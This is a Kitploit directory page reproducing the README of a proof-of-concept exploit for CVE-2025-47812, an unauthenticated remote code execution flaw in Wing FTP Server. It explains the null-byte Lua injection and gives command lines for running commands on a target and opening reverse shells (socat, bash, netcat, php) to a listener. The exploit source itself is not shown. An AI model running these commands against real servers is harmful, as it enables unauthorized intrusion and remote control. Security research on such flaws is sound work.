Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-47812-PoC — Unauthenticated remote code execution exploit for Wing FTP Server (CVE-2025-47812) with multiple reverse shell payloads, interactive and CLI modes, and automated session handling. | Kitploit
Tools/GitHubGitHub/havbay/cve-2025-47812-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access Tool
GitHubhavbay/cve-2025-47812-poc

CVE-2025-47812-PoC

Unauthenticated remote code execution exploit for Wing FTP Server (CVE-2025-47812) with multiple reverse shell payloads, interactive and CLI modes, and automated session handling.

279 months agoNot yet reviewed
View Repository
Share

CVE-2025-47812 — Wing FTP Server Remote Code Execution (RCE)

Python CVSS Type

Overview

FieldValue
CVECVE-2025-47812
AffectedWing FTP Server < 7.4.4
TypeUnauthenticated Remote Code Execution
CVSS Score10.0 (Critical)
Fixed inWing FTP Server 7.4.4

How it works

The vulnerability exists in the /loginok.html login endpoint. The server fails to sanitize null bytes (%00) in the username field. This allows an attacker to inject arbitrary Lua code into session files, which are later evaluated server-side when endpoints like /dir.html are accessed — without any authentication required.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-47812


Features

  • Unauthenticated command execution
  • Multiple reverse shell payloads (socat, bash, python3, nc-e, nc-fifo, php)
  • Socat payload prioritized for full interactive TTY
  • Pre-flight target reachability check
  • Auto session UID extraction with fresh session per attempt
  • Pick a specific payload with --payload flag
  • Save command output to file with -o
  • Configurable --timeout and --delay
  • Verbose/debug mode with -v
  • Graceful Ctrl+C handling
  • Payload summary after reverse shell attempts
  • CLI argument mode + interactive menu
  • Color-coded output

Requirements

pip install requests

Usage

Interactive mode

python3 wingftp_rce_exploit.py

CLI mode

# Run a command
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"

# Save output to file
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt

# Reverse shell (try all payloads)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444

# Reverse shell (specific payload)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat

All options

-u / --url        Target base URL
-U / --username   Login username (default: anonymous)
-c / --command    Command to run (command mode)
-r / --rhost      Your listener IP (reverse shell mode)
-p / --rport      Your listener port (reverse shell mode)
     --payload    Specific payload to use (see list below)
     --timeout    HTTP request timeout in seconds (default: 10)
     --delay      Delay between payload attempts in seconds (default: 4)
-o / --output     Save command output to file
-v / --verbose    Enable debug output

Reverse Shell Payloads

NameMethod
socatFull PTY via socat
bash/dev/tcp redirect
python3Socket subprocess
nc-eNetcat with -e flag
nc-fifoNetcat + mkfifo
phpPHP fsockopen

Examples

Command execution

Target URL : http://192.168.1.10:5466
Username   : anonymous
Choice     : 1
Command    : whoami

Reverse shell

Step 1 — Start your listener (socat recommended for full TTY):

socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr

Or with nc:

nc -lvnp 4444

Step 2 — Run the exploit:

python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444

Credits

  • Original PoC by blindma1den
  • Improved and extended by Havbuy

Disclaimer

This tool is intended for educational purposes and authorized security testing only.
Do NOT use against systems you do not own or have explicit written permission to test.
Unauthorized use is illegal. The authors accept no liability for misuse.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →